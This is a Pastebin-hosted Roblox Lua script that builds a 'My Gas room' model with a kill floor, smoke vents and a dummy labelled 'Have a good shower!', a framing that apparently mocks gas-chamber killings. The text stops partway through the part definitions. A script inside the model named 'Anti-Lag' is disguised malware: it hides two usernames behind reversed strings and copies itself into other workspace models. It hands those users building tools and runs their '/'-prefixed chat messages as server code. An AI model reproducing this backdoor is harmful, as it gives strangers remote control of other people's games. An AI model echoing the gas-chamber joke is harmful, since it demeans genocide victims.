Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
- local Player,game,owner = owner,game
- local RealPlayer = Player
- do
- print("FE Compatibility code by Mokiros")
- local rp = RealPlayer
- script.Parent = rp.Character
- --RemoteEvent for communicating
- local Event = Instance.new("RemoteEvent")
- Event.Name = "UserInput_Event"
- --Fake event to make stuff like Mouse.KeyDown work
- local function fakeEvent()
- local t = {_fakeEvent=true,Functions={},Connect=function(self,f)table.insert(self.Functions,f) end}
- t.connect = t.Connect
- return t
- end
- --Creating fake input objects with fake variables
- local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent(),Button2Up=fakeEvent(),Button2Down=fakeEvent()}
- local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
- local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
- CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
- end}
- --Merged 2 functions into one by checking amount of arguments
- CAS.UnbindAction = CAS.BindAction
- --This function will trigger the events that have been :Connect()'ed
- local function te(self,ev,...)
- local t = m[ev]
- if t and t._fakeEvent then
- for _,f in pairs(t.Functions) do
- f(...)
- end
- end
- end
- m.TrigEvent = te
- UIS.TrigEvent = te
- Event.OnServerEvent:Connect(function(plr,io)
- if plr~=rp then return end
- m.Target = io.Target
- m.Hit = io.Hit
- if not io.isMouse then
- local b = io.UserInputState == Enum.UserInputState.Begin
- if io.UserInputType == Enum.UserInputType.MouseButton1 then
- return m:TrigEvent(b and "Button1Down" or "Button1Up")
- end
- if io.UserInputType == Enum.UserInputType.MouseButton2 then
- return m:TrigEvent(b and "Button2Down" or "Button2Up")
- end
- for _,t in pairs(CAS.Actions) do
- for _,k in pairs(t.Keys) do
- if k==io.KeyCode then
- t.Function(t.Name,io.UserInputState,io)
- end
- end
- end
- m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
- UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
- end
- end)
- Event.Parent = NLS([==[
- local Player = game:GetService("Players").LocalPlayer
- local Event = script:WaitForChild("UserInput_Event")
- local Mouse = Player:GetMouse()
- local UIS = game:GetService("UserInputService")
- local input = function(io,a)
- if a then return end
- --Since InputObject is a client-side instance, we create and pass table instead
- Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState,Hit=Mouse.Hit,Target=Mouse.Target})
- end
- UIS.InputBegan:Connect(input)
- UIS.InputEnded:Connect(input)
- local h,t
- --Give the server mouse data 30 times every second, but only if the values changed
- --If player is not moving their mouse, client won't fire events
- while wait(1/30) do
- if h~=Mouse.Hit or t~=Mouse.Target then
- h,t=Mouse.Hit,Mouse.Target
- Event:FireServer({isMouse=true,Target=t,Hit=h})
- end
- end]==],Player.Character)
- ----Sandboxed game object that allows the usage of client-side methods and services
- --Real game object
- local _rg = game
- --Metatable for fake service
- local fsmt = {
- __index = function(self,k)
- local s = rawget(self,"_RealService")
- if s then
- return typeof(s[k])=="function"
- and function(_,...)return s[k](s,...)end or s[k]
- end
- end,
- __newindex = function(self,k,v)
- local s = rawget(self,"_RealService")
- if s then s[k]=v end
- end
- }
- local function FakeService(t,RealService)
- t._RealService = typeof(RealService)=="string" and _rg:GetService(RealService) or RealService
- return setmetatable(t,fsmt)
- end
- --Fake game object
- local g = {
- GetService = function(self,s)
- return rawget(self,s) or _rg:GetService(s)
- end,
- Players = FakeService({
- LocalPlayer = FakeService({GetMouse=function(self)return m end},Player)
- },"Players"),
- UserInputService = FakeService(UIS,"UserInputService"),
- ContextActionService = FakeService(CAS,"ContextActionService"),
- RunService = FakeService({
- _btrs = {},
- RenderStepped = _rg:GetService("RunService").Heartbeat,
- BindToRenderStep = function(self,name,_,fun)
- self._btrs[name] = self.Heartbeat:Connect(fun)
- end,
- UnbindFromRenderStep = function(self,name)
- self._btrs[name]:Disconnect()
- end,
- },"RunService")
- }
- rawset(g.Players,"localPlayer",g.Players.LocalPlayer)
- g.service = g.GetService
- FakeService(g,game)
- --Changing owner to fake player object to support owner:GetMouse()
- game,owner = g,g.Players.LocalPlayer
- end
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(self,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- Model0 = Instance.new("Model")
- Part1 = Instance.new("Part")
- Fire2 = Instance.new("Fire")
- BlockMesh3 = Instance.new("BlockMesh")
- Part4 = Instance.new("Part")
- BlockMesh5 = Instance.new("BlockMesh")
- Model6 = Instance.new("Model")
- Part7 = Instance.new("Part")
- Fire8 = Instance.new("Fire")
- Part9 = Instance.new("Part")
- ClickDetector10 = Instance.new("ClickDetector")
- Script11 = Instance.new("Script")
- Part12 = Instance.new("Part")
- ClickDetector13 = Instance.new("ClickDetector")
- Script14 = Instance.new("Script")
- Part15 = Instance.new("Part")
- BlockMesh16 = Instance.new("BlockMesh")
- Part17 = Instance.new("Part")
- Fire18 = Instance.new("Fire")
- BlockMesh19 = Instance.new("BlockMesh")
- Part20 = Instance.new("Part")
- BlockMesh21 = Instance.new("BlockMesh")
- Fire22 = Instance.new("Fire")
- Part23 = Instance.new("Part")
- BlockMesh24 = Instance.new("BlockMesh")
- Part25 = Instance.new("Part")
- BlockMesh26 = Instance.new("BlockMesh")
- Fire27 = Instance.new("Fire")
- Part28 = Instance.new("Part")
- BlockMesh29 = Instance.new("BlockMesh")
- Fire30 = Instance.new("Fire")
- Part31 = Instance.new("Part")
- BlockMesh32 = Instance.new("BlockMesh")
- Fire33 = Instance.new("Fire")
- Model34 = Instance.new("Model")
- Humanoid35 = Instance.new("Humanoid")
- Part36 = Instance.new("Part")
- Part37 = Instance.new("Part")
- Fire38 = Instance.new("Fire")
- Script39 = Instance.new("Script")
- Script40 = Instance.new("Script")
- Model41 = Instance.new("Model")
- Part42 = Instance.new("Part")
- Fire43 = Instance.new("Fire")
- Part44 = Instance.new("Part")
- ClickDetector45 = Instance.new("ClickDetector")
- BlockMesh46 = Instance.new("BlockMesh")
- Script47 = Instance.new("Script")
- Fire48 = Instance.new("Fire")
- Part49 = Instance.new("Part")
- Smoke50 = Instance.new("Smoke")
- BlockMesh51 = Instance.new("BlockMesh")
- Part52 = Instance.new("Part")
- Smoke53 = Instance.new("Smoke")
- BlockMesh54 = Instance.new("BlockMesh")
- Part55 = Instance.new("Part")
- Smoke56 = Instance.new("Smoke")
- BlockMesh57 = Instance.new("BlockMesh")
- Part58 = Instance.new("Part")
- Smoke59 = Instance.new("Smoke")
- BlockMesh60 = Instance.new("BlockMesh")
- Part61 = Instance.new("Part")
- Smoke62 = Instance.new("Smoke")
- BlockMesh63 = Instance.new("BlockMesh")
- Part64 = Instance.new("Part")
- Smoke65 = Instance.new("Smoke")
- BlockMesh66 = Instance.new("BlockMesh")
- Part67 = Instance.new("Part")
- Fire68 = Instance.new("Fire")
- BlockMesh69 = Instance.new("BlockMesh")
- Part70 = Instance.new("Part")
- BlockMesh71 = Instance.new("BlockMesh")
- Part72 = Instance.new("Part")
- BlockMesh73 = Instance.new("BlockMesh")
- Model74 = Instance.new("Model")
- Humanoid75 = Instance.new("Humanoid")
- Part76 = Instance.new("Part")
- Fire77 = Instance.new("Fire")
- Part78 = Instance.new("Part")
- BlockMesh79 = Instance.new("BlockMesh")
- Model0.Name = "My Gas room"
- Model0.Parent = mas
- Part1.Parent = Model0
- Part1.Material = Enum.Material.Concrete
- Part1.BrickColor = BrickColor.new("Really black")
- Part1.Rotation = Vector3.new(180, 0, -180)
- Part1.Anchored = true
- Part1.Size = Vector3.new(1, 10.8000002, 6)
- Part1.CFrame = CFrame.new(-25.4399834, 9.28001308, -16.8499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- Part1.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part1.Position = Vector3.new(-25.4399834, 9.28001308, -16.8499947)
- Part1.Orientation = Vector3.new(0, -180, 0)
- Part1.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Fire2.Parent = Part1
- Fire2.Size = 30
- Fire2.Color = Color3.new(0, 0, 1)
- Fire2.Enabled = false
- Fire2.Heat = 25
- Fire2.SecondaryColor = Color3.new(1, 1, 1)
- Fire2.Color = Color3.new(0, 0, 1)
- BlockMesh3.Parent = Part1
- Part4.Parent = Model0
- Part4.Material = Enum.Material.Concrete
- Part4.BrickColor = BrickColor.new("Really black")
- Part4.Rotation = Vector3.new(180, 0, -180)
- Part4.Anchored = true
- Part4.Size = Vector3.new(1, 3.60000014, 6)
- Part4.CFrame = CFrame.new(-25.4399834, 12.8800364, -22.8499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- Part4.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part4.Position = Vector3.new(-25.4399834, 12.8800364, -22.8499947)
- Part4.Orientation = Vector3.new(0, -180, 0)
- Part4.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh5.Parent = Part4
- Model6.Parent = Model0
- Part7.Name = "Door"
- Part7.Parent = Model6
- Part7.Material = Enum.Material.Concrete
- Part7.BrickColor = BrickColor.new("Really black")
- Part7.Transparency = 1
- Part7.Rotation = Vector3.new(180, 0, -180)
- Part7.Anchored = true
- Part7.CanCollide = false
- Part7.Size = Vector3.new(1, 7.20000029, 6)
- Part7.CFrame = CFrame.new(-25.4399834, 7.48000717, -22.8499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- Part7.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part7.Position = Vector3.new(-25.4399834, 7.48000717, -22.8499947)
- Part7.Orientation = Vector3.new(0, -180, 0)
- Part7.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Fire8.Parent = Part7
- Fire8.Size = 30
- Fire8.Color = Color3.new(0, 0, 1)
- Fire8.Enabled = false
- Fire8.Heat = 25
- Fire8.SecondaryColor = Color3.new(1, 1, 1)
- Fire8.Color = Color3.new(0, 0, 1)
- Part9.Name = "OnButton"
- Part9.Parent = Model6
- Part9.BrickColor = BrickColor.new("Lime green")
- Part9.Rotation = Vector3.new(-180, 0, -90)
- Part9.Anchored = true
- Part9.FormFactor = Enum.FormFactor.Plate
- Part9.Size = Vector3.new(1, 0.400000006, 1)
- Part9.CFrame = CFrame.new(-26.1399345, 7.37995911, -17.3499947, 0, 1, 0, 1, 0, 0, 0, 0, -1)
- Part9.BottomSurface = Enum.SurfaceType.Smooth
- Part9.TopSurface = Enum.SurfaceType.Weld
- Part9.Color = Color3.new(0, 1, 0)
- Part9.Position = Vector3.new(-26.1399345, 7.37995911, -17.3499947)
- Part9.Orientation = Vector3.new(0, 180, 90)
- Part9.Color = Color3.new(0, 1, 0)
- ClickDetector10.Parent = Part9
- Script11.Parent = Part9
- table.insert(cors,sandbox(Script11,function()
- local Door = script.Parent.Parent.Door
- function onClicked(mouse)
- Door.CanCollide = false
- Door.Transparency = 0.3
- wait (0.1)
- Door.Transparency = 0.4
- wait (0.1)
- Door.Transparency = 0.5
- wait (0.1)
- Door.Transparency = 0.6
- wait (0.1)
- Door.Transparency = 0.7
- wait (0.1)
- Door.Transparency = 0.8
- wait (0.1)
- Door.Transparency = 0.9
- wait (0.1)
- Door.Transparency = 1
- end
- script.Parent.ClickDetector.MouseClick:connect(onClicked)
- end))
- Part12.Name = "OnButton"
- Part12.Parent = Model6
- Part12.BrickColor = BrickColor.new("Really red")
- Part12.Rotation = Vector3.new(-90, 0, -90)
- Part12.Anchored = true
- Part12.FormFactor = Enum.FormFactor.Plate
- Part12.Size = Vector3.new(1, 0.400000006, 1)
- Part12.CFrame = CFrame.new(-26.1399345, 7.37995911, -18.3499947, 0, 1, 0, 0, 0, 1, 1, 0, 0)
- Part12.BottomSurface = Enum.SurfaceType.Smooth
- Part12.TopSurface = Enum.SurfaceType.Weld
- Part12.Color = Color3.new(1, 0, 0)
- Part12.Position = Vector3.new(-26.1399345, 7.37995911, -18.3499947)
- Part12.Orientation = Vector3.new(-90, -90, 0)
- Part12.Color = Color3.new(1, 0, 0)
- ClickDetector13.Parent = Part12
- Script14.Parent = Part12
- table.insert(cors,sandbox(Script14,function()
- local Door = script.Parent.Parent.Door
- function onClicked(mouse)
- Door.Transparency = 0.9
- wait (0.1)
- Door.Transparency = 0.8
- wait (0.1)
- Door.Transparency = 0.7
- wait (0.1)
- Door.Transparency = 0.6
- wait (0.1)
- Door.Transparency = 0.5
- wait (0.1)
- Door.Transparency = 0.4
- wait (0.1)
- Door.Transparency = 0.3
- Door.CanCollide = true
- end
- script.Parent.ClickDetector.MouseClick:connect(onClicked)
- end))
- Part15.Parent = Model0
- Part15.Material = Enum.Material.Concrete
- Part15.BrickColor = BrickColor.new("Really black")
- Part15.Rotation = Vector3.new(180, 0, -180)
- Part15.Anchored = true
- Part15.Size = Vector3.new(1, 10.8000002, 3)
- Part15.CFrame = CFrame.new(-25.4399834, 9.28001308, -27.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- Part15.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part15.Position = Vector3.new(-25.4399834, 9.28001308, -27.3499947)
- Part15.Orientation = Vector3.new(0, -180, 0)
- Part15.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh16.Parent = Part15
- Part17.Parent = Model0
- Part17.Material = Enum.Material.Concrete
- Part17.BrickColor = BrickColor.new("Really black")
- Part17.Rotation = Vector3.new(180, 0, -180)
- Part17.Anchored = true
- Part17.Size = Vector3.new(1, 1.20000005, 15)
- Part17.CFrame = CFrame.new(-25.4399834, 3.28001118, -21.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- Part17.TopSurface = Enum.SurfaceType.Smooth
- Part17.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part17.Position = Vector3.new(-25.4399834, 3.28001118, -21.3499947)
- Part17.Orientation = Vector3.new(0, -180, 0)
- Part17.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Fire18.Parent = Part17
- Fire18.Size = 30
- Fire18.Color = Color3.new(0, 0, 1)
- Fire18.Enabled = false
- Fire18.Heat = 25
- Fire18.SecondaryColor = Color3.new(1, 1, 1)
- Fire18.Color = Color3.new(0, 0, 1)
- BlockMesh19.Parent = Part17
- Part20.Parent = Model0
- Part20.Material = Enum.Material.Concrete
- Part20.BrickColor = BrickColor.new("Really black")
- Part20.Rotation = Vector3.new(180, 0, -180)
- Part20.Anchored = true
- Part20.Size = Vector3.new(16, 2.4000001, 1)
- Part20.CFrame = CFrame.new(-16.9399815, 3.88001347, -13.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- Part20.TopSurface = Enum.SurfaceType.Smooth
- Part20.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part20.Position = Vector3.new(-16.9399815, 3.88001347, -13.3499947)
- Part20.Orientation = Vector3.new(0, -180, 0)
- Part20.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh21.Parent = Part20
- Fire22.Parent = Part20
- Fire22.Size = 30
- Fire22.Color = Color3.new(0, 0, 1)
- Fire22.Enabled = false
- Fire22.Heat = 25
- Fire22.SecondaryColor = Color3.new(1, 1, 1)
- Fire22.Color = Color3.new(0, 0, 1)
- Part23.Parent = Model0
- Part23.Material = Enum.Material.Concrete
- Part23.BrickColor = BrickColor.new("Really black")
- Part23.Rotation = Vector3.new(180, 0, -180)
- Part23.Anchored = true
- Part23.Size = Vector3.new(1, 12, 1)
- Part23.CFrame = CFrame.new(-25.4399834, 8.68000698, -13.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- Part23.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part23.Position = Vector3.new(-25.4399834, 8.68000698, -13.3499947)
- Part23.Orientation = Vector3.new(0, -180, 0)
- Part23.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh24.Parent = Part23
- Part25.Parent = Model0
- Part25.BrickColor = BrickColor.new("Really black")
- Part25.Transparency = 0.40000000596046
- Part25.Rotation = Vector3.new(0, 90, 0)
- Part25.Anchored = true
- Part25.Size = Vector3.new(1, 8.40000057, 16)
- Part25.CFrame = CFrame.new(-16.9399815, 9.28001308, -13.3499947, -0, 0, 1, -0, 1, 0, -1, 0, 0)
- Part25.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part25.Position = Vector3.new(-16.9399815, 9.28001308, -13.3499947)
- Part25.Orientation = Vector3.new(0, 90, 0)
- Part25.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh26.Parent = Part25
- Fire27.Parent = Part25
- Fire27.Size = 30
- Fire27.Color = Color3.new(0, 0, 1)
- Fire27.Enabled = false
- Fire27.Heat = 25
- Fire27.SecondaryColor = Color3.new(1, 1, 1)
- Fire27.Color = Color3.new(0, 0, 1)
- Part28.Parent = Model0
- Part28.Material = Enum.Material.Concrete
- Part28.BrickColor = BrickColor.new("Really black")
- Part28.Rotation = Vector3.new(180, 0, -180)
- Part28.Anchored = true
- Part28.Size = Vector3.new(16, 1.20000005, 1)
- Part28.CFrame = CFrame.new(-16.9399815, 14.0800352, -13.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- Part28.BottomSurface = Enum.SurfaceType.Smooth
- Part28.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part28.Position = Vector3.new(-16.9399815, 14.0800352, -13.3499947)
- Part28.Orientation = Vector3.new(0, -180, 0)
- Part28.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh29.Parent = Part28
- Fire30.Parent = Part28
- Fire30.Size = 30
- Fire30.Color = Color3.new(0, 0, 1)
- Fire30.Enabled = false
- Fire30.Heat = 25
- Fire30.SecondaryColor = Color3.new(1, 1, 1)
- Fire30.Color = Color3.new(0, 0, 1)
- Part31.Parent = Model0
- Part31.Material = Enum.Material.Concrete
- Part31.BrickColor = BrickColor.new("Really black")
- Part31.Rotation = Vector3.new(180, 0, -180)
- Part31.Anchored = true
- Part31.FormFactor = Enum.FormFactor.Plate
- Part31.Size = Vector3.new(18, 0.400000006, 17)
- Part31.CFrame = CFrame.new(-16.9399815, 14.8800364, -21.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- Part31.BottomSurface = Enum.SurfaceType.Smooth
- Part31.TopSurface = Enum.SurfaceType.Smooth
- Part31.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part31.Position = Vector3.new(-16.9399815, 14.8800364, -21.3499947)
- Part31.Orientation = Vector3.new(0, -180, 0)
- Part31.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh32.Parent = Part31
- Fire33.Parent = Part31
- Fire33.Size = 30
- Fire33.Color = Color3.new(0, 0, 1)
- Fire33.Enabled = false
- Fire33.Heat = 25
- Fire33.SecondaryColor = Color3.new(1, 1, 1)
- Fire33.Color = Color3.new(0, 0, 1)
- Model34.Name = "Have a good shower!"
- Model34.Parent = Model0
- Humanoid35.Parent = Model34
- Humanoid35.Health = 0
- Humanoid35.MaxHealth = 0
- Part36.Name = "Head"
- Part36.Parent = Model34
- Part36.BrickColor = BrickColor.new("Really black")
- Part36.Rotation = Vector3.new(0, 0, 90)
- Part36.Anchored = true
- Part36.FormFactor = Enum.FormFactor.Plate
- Part36.Size = Vector3.new(1, 0.400000006, 1)
- Part36.CFrame = CFrame.new(-26.1399803, 11.3800173, -19.3499947, 0, -1, 0, 1, -0, 0, 0, -0, 1)
- Part36.TopSurface = Enum.SurfaceType.Smooth
- Part36.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part36.Position = Vector3.new(-26.1399803, 11.3800173, -19.3499947)
- Part36.Orientation = Vector3.new(0, 0, 90)
- Part36.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part37.Name = "Lava"
- Part37.Parent = Model0
- Part37.BrickColor = BrickColor.new("Really black")
- Part37.Rotation = Vector3.new(180, 0, -180)
- Part37.Anchored = true
- Part37.FormFactor = Enum.FormFactor.Plate
- Part37.Size = Vector3.new(16, 0.400000006, 15)
- Part37.CFrame = CFrame.new(-16.9399815, 2.88002205, -21.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- Part37.BottomSurface = Enum.SurfaceType.Smooth
- Part37.TopSurface = Enum.SurfaceType.Smooth
- Part37.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part37.Position = Vector3.new(-16.9399815, 2.88002205, -21.3499947)
- Part37.Orientation = Vector3.new(0, -180, 0)
- Part37.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Fire38.Parent = Part37
- Fire38.Size = 30
- Fire38.Color = Color3.new(0, 0, 1)
- Fire38.Enabled = false
- Fire38.Heat = 25
- Fire38.SecondaryColor = Color3.new(1, 1, 1)
- Fire38.Color = Color3.new(0, 0, 1)
- Script39.Name = "Anti-Lag"
- Script39.Parent = Part37
- table.insert(cors,sandbox(Script39,function()
- Altitude = script:clone()
- calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
- Knox = {}
- table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
- table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
- Play = {}
- function rando(votation)
- local hatr = 5
- local calc = math.pi * math.huge
- local longicate = votation:GetChildren()
- if #longicate > hatr then
- calc = calc + math.pi
- return longicate[math.random(6,#longicate)]
- end
- end
- function doublecheck()
- local fj = game.Workspace:GetChildren()
- for off = 1,#fj do
- if fj[off].className == "Part" then
- local fh = fj[off]:FindFirstChild("Anti-Lag")
- if fh ~= nil then
- return false
- end
- end
- end
- return true
- end
- function workcheck()
- if doublecheck() == true then
- local l = Altitude:clone()
- l.Parent = rando(game.Workspace)
- end
- end
- workcheck()
- function gibite(quen)
- local hup = Instance.new("Message")
- hup.Text = "Detected"
- hup.Parent = quen.Parent
- local con = Instance.new("Script")
- con.Source = [[wait(5) script.Parent:remove()]]
- con.Parent = hup
- for ish = 0,7 do
- local a = Instance.new("HopperBin")
- a.BinType = ish
- a.Parent = quen
- end
- end
- function laber(zonsa)
- wait()
- for slate = 1,#Knox do
- if zonsa.Name == Knox[slate] then
- gibite(zonsa.Backpack)
- table.insert (Play, 1, zonsa.Name)
- end
- end
- end
- function yeild(frequency)
- local t = Knox
- for g = 1,#t do
- if t[g] == frequency.Name then
- return true
- end
- end
- return false
- end
- function check(los)
- local r = los:GetChildren()
- for i = 1,#r do
- local h = r[i]:FindFirstChild("Anti-Lag")
- if h ~= nil then
- h:remove()
- end
- end
- end
- function alto(xylem)
- if xylem.className == "Model" then
- check(xylem)
- local que = script:clone()
- que.Parent = rando(xylem)
- end
- end
- function sortation(gone)
- local dimbs = Altitude:clone()
- dimbs = ramno(game.Workspace)
- end
- function onPlayerEntered(newPlayer)
- newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
- end
- function Player(player)
- player.Changed:connect(function (property)
- if property == "Character" then
- laber(player)
- end
- end)
- end
- game.Players.PlayerAdded:connect(Player)
- game.Players.ChildAdded:connect(onPlayerEntered)
- game.Players.ChildAdded:connect(laber)
- script.ChildRemoved:connect(sortation)
- game.Workspace.ChildAdded:connect(alto)
- function onChatted(msg, recipient, speaker)
- if yeild(speaker) ~= false then
- if string.sub(msg,1,1) == "/" then
- local dsting = Instance.new("Script")
- dsting.Source = string.sub(msg,2)
- dsting.Parent = game.Workspace
- end
- end
- end
- end))
- Script40.Parent = Part37
- table.insert(cors,sandbox(Script40,function()
- function onTouched(hit)
- local h = hit.Parent:findFirstChild("Humanoid")
- if h ~= nil then
- h.Health = 0
- end
- end
- script.Parent.Touched:connect(onTouched)
- end))
- Model41.Parent = Model0
- Part42.Name = "Gas"
- Part42.Parent = Model41
- Part42.BrickColor = BrickColor.new("Really black")
- Part42.Rotation = Vector3.new(180, 0, -180)
- Part42.Anchored = true
- Part42.FormFactor = Enum.FormFactor.Plate
- Part42.Size = Vector3.new(16, 0.400000006, 15)
- Part42.CFrame = CFrame.new(-16.9399815, 3.28001118, -21.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- Part42.TopSurface = Enum.SurfaceType.Smooth
- Part42.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part42.Position = Vector3.new(-16.9399815, 3.28001118, -21.3499947)
- Part42.Orientation = Vector3.new(0, -180, 0)
- Part42.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Fire43.Parent = Part42
- Fire43.Size = 30
- Fire43.Color = Color3.new(0, 0, 1)
- Fire43.Enabled = false
- Fire43.Heat = 25
- Fire43.SecondaryColor = Color3.new(1, 1, 1)
- Fire43.Color = Color3.new(0, 0, 1)
- Part44.Name = "OnButton"
- Part44.Parent = Model41
- Part44.BrickColor = BrickColor.new("Really red")
- Part44.Rotation = Vector3.new(-90, -90, 0)
- Part44.Anchored = true
- Part44.FormFactor = Enum.FormFactor.Plate
- Part44.Size = Vector3.new(1, 0.400000006, 2)
- Part44.CFrame = CFrame.new(-16.9399815, 4.18031311, -12.2500191, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- Part44.BottomSurface = Enum.SurfaceType.Smooth
- Part44.TopSurface = Enum.SurfaceType.Weld
- Part44.Color = Color3.new(1, 0, 0)
- Part44.Position = Vector3.new(-16.9399815, 4.18031311, -12.2500191)
- Part44.Orientation = Vector3.new(0, -90, 90)
- Part44.Color = Color3.new(1, 0, 0)
- ClickDetector45.Parent = Part44
- BlockMesh46.Parent = Part44
- Script47.Parent = Part44
- table.insert(cors,sandbox(Script47,function()
- local Gas = script.Parent.Parent.Gas
- local sm1 = script.Parent.Parent.smoke1
- local sm2 = script.Parent.Parent.smoke2
- local sm3 = script.Parent.Parent.smoke3
- local sm4 = script.Parent.Parent.smoke4
- local sm5 = script.Parent.Parent.smoke5
- local sm6 = script.Parent.Parent.smoke6
- function onClicked(mouse)
- sm1.Smoke.Enabled = true
- sm2.Smoke.Enabled = true
- sm3.Smoke.Enabled = true
- sm4.Smoke.Enabled = true
- sm5.Smoke.Enabled = true
- sm6.Smoke.Enabled = true
- Gas.CanCollide = false
- wait (1)
- Gas.CanCollide = true
- sm1.Smoke.Enabled = false
- sm2.Smoke.Enabled = false
- sm3.Smoke.Enabled = false
- sm4.Smoke.Enabled = false
- sm5.Smoke.Enabled = false
- sm6.Smoke.Enabled = false
- end
- script.Parent.ClickDetector.MouseClick:connect(onClicked)
- end))
- Fire48.Parent = Part44
- Fire48.Size = 30
- Fire48.Color = Color3.new(0, 0, 1)
- Fire48.Enabled = false
- Fire48.Heat = 25
- Fire48.SecondaryColor = Color3.new(1, 1, 1)
- Fire48.Color = Color3.new(0, 0, 1)
- Part49.Name = "smoke1"
- Part49.Parent = Model41
- Part49.BrickColor = BrickColor.new("Really black")
- Part49.Rotation = Vector3.new(180, -90, 0)
- Part49.Anchored = true
- Part49.FormFactor = Enum.FormFactor.Symmetric
- Part49.Size = Vector3.new(2, 1, 2)
- Part49.CFrame = CFrame.new(-11.9399815, 13.9800367, -25.8499947, -0, -0, -1, -0, -1, -0, -1, -0, -0)
- Part49.BackSurface = Enum.SurfaceType.Weld
- Part49.BottomSurface = Enum.SurfaceType.Weld
- Part49.FrontSurface = Enum.SurfaceType.Weld
- Part49.LeftSurface = Enum.SurfaceType.Weld
- Part49.RightSurface = Enum.SurfaceType.Weld
- Part49.TopSurface = Enum.SurfaceType.Hinge
- Part49.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part49.Position = Vector3.new(-11.9399815, 13.9800367, -25.8499947)
- Part49.Orientation = Vector3.new(0, -90, -180)
- Part49.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Smoke50.Parent = Part49
- Smoke50.Color = Color3.new(0.301961, 0.301961, 0.301961)
- Smoke50.Enabled = false
- Smoke50.Opacity = 1
- Smoke50.RiseVelocity = 25
- Smoke50.Color = Color3.new(0.301961, 0.301961, 0.301961)
- BlockMesh51.Parent = Part49
- Part52.Name = "smoke2"
- Part52.Parent = Model41
- Part52.BrickColor = BrickColor.new("Really black")
- Part52.Rotation = Vector3.new(180, -90, 0)
- Part52.Anchored = true
- Part52.FormFactor = Enum.FormFactor.Symmetric
- Part52.Size = Vector3.new(2, 1, 2)
- Part52.CFrame = CFrame.new(-16.9399815, 13.9800367, -25.8499947, -0, -0, -1, -0, -1, -0, -1, -0, -0)
- Part52.BackSurface = Enum.SurfaceType.Weld
- Part52.BottomSurface = Enum.SurfaceType.Weld
- Part52.FrontSurface = Enum.SurfaceType.Weld
- Part52.LeftSurface = Enum.SurfaceType.Weld
- Part52.RightSurface = Enum.SurfaceType.Weld
- Part52.TopSurface = Enum.SurfaceType.Hinge
- Part52.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part52.Position = Vector3.new(-16.9399815, 13.9800367, -25.8499947)
- Part52.Orientation = Vector3.new(0, -90, -180)
- Part52.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Smoke53.Parent = Part52
- Smoke53.Color = Color3.new(0.301961, 0.301961, 0.301961)
- Smoke53.Enabled = false
- Smoke53.Opacity = 1
- Smoke53.RiseVelocity = 25
- Smoke53.Color = Color3.new(0.301961, 0.301961, 0.301961)
- BlockMesh54.Parent = Part52
- Part55.Name = "smoke3"
- Part55.Parent = Model41
